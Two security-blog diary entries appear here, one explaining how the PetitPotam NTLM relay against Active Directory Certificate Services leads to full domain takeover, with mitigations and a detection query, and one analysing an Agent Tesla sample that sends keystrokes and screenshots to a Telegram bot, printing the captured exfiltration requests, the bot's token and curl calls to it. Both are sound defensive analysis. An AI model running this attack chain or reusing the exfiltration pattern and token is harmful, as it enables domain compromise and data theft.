Active Directory Certificate Services (ADCS - PKI) domain admin vulnerability
Phew, this was a really bad week for Microsoft (and a lot of reading for all of us). And just when we thought that the fiasco with the SAM hive was over, a new vulnerability popped up, which is much, much more dangerous unfortunately – it allows a user to completely take over a Windows domain that has the ADCS service running. And those are probably running in majority of enterprises.
This involves chaining few things (and I’m a big fan of chaining vulnerabilities), and the bottom line issue is in relaying NTLM authentications (as has been many, many times before).
This is what’s going on now:
(1) Let’s provoke arbitrary NTLM authentication
Earlier this week, @topotam77 released a PoC tool called PetitPotam, which exploits the MS-EFSRPC (Encrypting File System Remote (EFSRPC)) protocol in order to provoke one Windows host to try to authenticate to another. This is done over LSARPC (TCP port 445) and results in making the target server connect to an arbitrary server and perform NTLM authentication.
What’s even crazier is that this can be done without any authentication – so as long as you can connect to the target server to the LSARPC named pipe with interface c681d488-d850-11d0-8c52-00c04fd90f7e, you can make that target server connect to any other server.
Here’s how this can be done:
(2) Relaying to Active Directory Certificate Services
The other vulnerability that is being exploited here is the fact that the IIS server that is used by Active Directory Certificate Services uses NTLM over HTTP for authentication. This makes it perfect for this attack. @ExAndroidDev made a fork of the amazing Responder Impacket tool and added support for this attack.
Basically, what the fork is doing is using allowing relaying of NTLM authentication to the Active Directory Certificate Services IIS server. In this process it first sends a POST HTTP request to the /certsrv/certfnsh.as endpoint with an automatically generated certificate. While doing this it also passes the NTLM credentials.
If the POST request was successful, the Active Directory Certificate Services server will sign the certificate and Responder will fetch it by sending a GET HTTP request to /certsrv/certnew.cer?ReqID= where the parameter will be provided as response to the POST request.
This is what it looks like when executed:
With the certificate now, it is actually game over.
(3) Using Rubeus to get a TGT
The attacker can now use the Rubeus tool to fetch a Kerberos TGT (Ticket Granting Ticket), by using the machine account that was initially abused to make the NTLM connection. You can probably guess it by now – if that machine was a domain controller, we can get the TGT as that domain controller machine account, which will then ultimately allow the attacker to fully compromise the domain.
It is really game over now. With this TGT in our cache, we can fetch service tickets and perform any action we want, including the Mimikatz’ famous DCSync as @gentilkiwi demonstrated.
Talk about a bad week. And weekend. Sowhat can we do?
One of main issues here is that Active Directory Certificate Services use NTLM for authentication:
So, depending on how your enterprise uses ADCS, you could disable NTLM authentication on the IIS server and this particular attack will not be possible any more. Of course, if you do not need this particular service (web based certificate enroll) – remove it completely!
Couple of other things that will help:
- Use host based firewalls to limit connectivity as much as possible. Does your DC need to make outbound connections to port 445? Do your workstations need to allow inbound connectivity to port 445?
- Collect IIS logs from the Active Directory Certificate Services server to your SIEM and check for those requests mentioned above.
We’ll (again) keep an eye on this, and will update the diary with new information when possible. But it looks like it will be a busy weekend for some.
UPDATE:
Microsoft published an advisory regarding this - it's available at https://msrc.microsoft.com/update-guide/vulnerability/ADV210003
The advisory offers a workaround against the abuse of ADCS - it consist of disabling NTLM authentication as I wrote above in the diary. This should really be done enterprise wide, however, as always - test.
What the advisory above missed is the fact that the PetitPotam vulnerability (the first step in the diary above) is a completely separate issue - it allows an attacker to provoke a server to authenticate to an arbitrary machine. Abusing ADCS is just one way to use this - any service that allows NTLM authentication can probably be abused similarly (Print Spooler could be a candidate).
Detection: If you want to check if there were attacks against your environment, look for events with Event Code 4768 (TGT request), where the Certificate Information section contains data (Certificate Issuer Name, Serial Number and Thumbprint), indicating that a certificate was used for request.
This is what it looks like (the Splunk search used below was: index=windows EventCode=4768 Certificate_Issuer_Name=*):
Agent.Tesla Dropped via a .daa Image and Talking to Telegram
A few days ago, I found an interesting file delivered by email (why change a winning combination?). The file has a nice extension: “.daa” (Direct Access Archive). We already reported such files in 2019 and Didier wrote a diary[1] about them. Default Windows installation, can’t process “.daa” files, you need a specific tool to open them (like PowerISO). I converted the archive into an ISO file and extracted the PE file inside it.
The sample was called “E445333###.exe” (SHA256:853a7edf8144e06014e0c1a841d1f1840de954a866d5ce73ff12833394ff0ead) and has a VT score of 48/70[2]. It’s a classic Agent.Tesla but this one uses another C2 channel to exfiltrate data. Instead of using open email servers, it uses Telegram (the messenger application). I started to debug the PE file (a classic .Net executable) but it took a lot of time before reaching some interesting activity so I took another approach and went back to a classic behavioral analysis. I fired a REM Workstation, connected it to the Internet through a REMnux, and launched the executable.
It took some time (approx 15 mins) before I saw the first connection to api[.]telegram[.]org:
POST hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/sendDocument HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------8d94d2d30eed79c
Host: api.telegram.org
Content-Length: 983
Expect: 100-continue
Connection: Keep-Alive
-----------------------------8d94d2d30eed79c
Content-Disposition: form-data; name="chat_id"
1599705393
-----------------------------8d94d2d30eed79c
Content-Disposition: form-data; name="caption"
New Log Recovered!
User Name: REM/DESKTOP-2C3IQHO
OSFullName: Microsoft Windows 10 Enterprise
CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz
RAM: 8191.49 MB
-----------------------------8d94d2d30eed79c
Content-Disposition: form-data; name="document"; filename="REM-DESKTOP-2C3IQHO 2021-07-22 04-24-32.html"
Content-Type: text/html
Time: 07/22/2021 16:24:31<br>User Name: REM<br>Computer Name: DESKTOP-2C3IQHO<br>OSFullName: Microsoft Windows 10 Enterprise<br>CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz<br>RAM: 8191.49 MB<br>IP Address: <br><hr><br><font color="#00b1ba"><b>[ Process Hacker: </b>Filter <b>]</b> <font color="#000000">(07/22/2021 16:01:01)</font></font><br>api<font color="#00ba66">{ENTER}</font><br>
-----------------------------8d94d2d30eed79c--
And the reply:
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Thu, 22 Jul 2021 14:24:34 GMT
Content-Type: application/json
Content-Length: 662
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
{"ok":true,"result":{"message_id":6630,"from":{"id":1815802853,"is_bot":true,"first_name":"Bigdealz","username":"Bigdealzbot"},"chat":{"id":1599705393,"first_name":"Gracia","last_name":"Smith","username":"Graciasmith1","type":"private"},"date":1626963874,"document":{"file_name":"REM-DESKTOP-2C3IQHO 2021-07-22 04-24-32.html","mime_type":"text/html","file_id":"BQACAgQAAxkDAAIZ5mD5f6KNxerk3Fq4TG00ctuw4KRbAAJYCAACBovJUw5z5vTXh3vBIAQ","file_unique_id":"AgADWAgAAgaLyVM","file_size":388},"caption":"New Log Recovered!\n\nUser Name: REM/DESKTOP-2C3IQHO\nOSFullName: Microsoft Windows 10 Enterprise\nCPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz\nRAM: 8191.49 MB"}}
A few minutes later, the Trojan started to exfiltrate screenshots:
POST hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8d94d3662696c53 Host: api.telegram.org Content-Length: 194635 Expect: 100-continue Connection: Keep-Alive -----------------------------8d94d3662696c53 Content-Disposition: form-data; name="chat_id" 1599705393 -----------------------------8d94d3662696c53 Content-Disposition: form-data; name="caption" New Screenshot Recovered! User Name: REM/DESKTOP-2C3IQHO OSFullName: Microsoft Windows 10 Enterprise CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz RAM: 8191.49 MB -----------------------------8d94d3662696c53 Content-Disposition: form-data; name="document"; filename="REM-DESKTOP-2C3IQHO 2021-07-22 05-30-21.jpeg" Content-Type: image/jpeg JFIF``C (1#%(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egcC//cB8BccccccccccccccccccccccccccccccccccccccccccccccccccOm" [stuff deleted]
The file that is uploaded contains a timestamp. This confirmed to me that a screenshot is exfiltrated every hour.
Because we know the bot ID, we can interact with it.
Let’s check the bot info:
remnux@remnux:~$ curl -s hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/getMe | jq
{
"ok": true,
"result": {
"id": 1815802853,
"is_bot": true,
"first_name": "Bigdealz",
"username": "Bigdealzbot",
"can_join_groups": true,
"can_read_all_group_messages": false,
"supports_inline_queries": false
}
}
The user the bot is talking to is "Graciasmith1" (still online on Telegram when I'm writing this diary). Let's make it aware that we are also alive:
remnux@remnux:~$ curl -s hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/sendMessage -X POST -d '{"chat_id":"1599705393", "text":"Ping"}' -H "Content-Type: application/json" | jq
{
"ok": true,
"result": {
"message_id": 6884,
"from": {
"id": 1815802853,
"is_bot": true,
"first_name": "Bigdealz",
"username": "Bigdealzbot"
},
"chat": {
"id": 1599705393,
"first_name": "Gracia",
"last_name": "Smith",
"username": "Graciasmith1",
"type": "private"
},
"date": 1627107886,
"text": "Ping"
}
}
As you can see, today it's very touchy to spot malicious activity just by watching classic IOCs like IP addresses or domain names. Except if you prevent your users to access social networks like Telegram, who will flag traffic to api.telegram.org as suspicious? Behavioral monitoring can be the key: You can see requests at regular intervals, outside business hours, or from hosts that should not execute social network applications. Because your servers can access the Internet directly, right? ;-)
[1] https://isc.sans.edu/forums/diary/The+DAA+File+Format/25246
[2] https://www.virustotal.com/gui/file/853a7edf8144e06014e0c1a841d1f1840de954a866d5ce73ff12833394ff0ead/detection
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments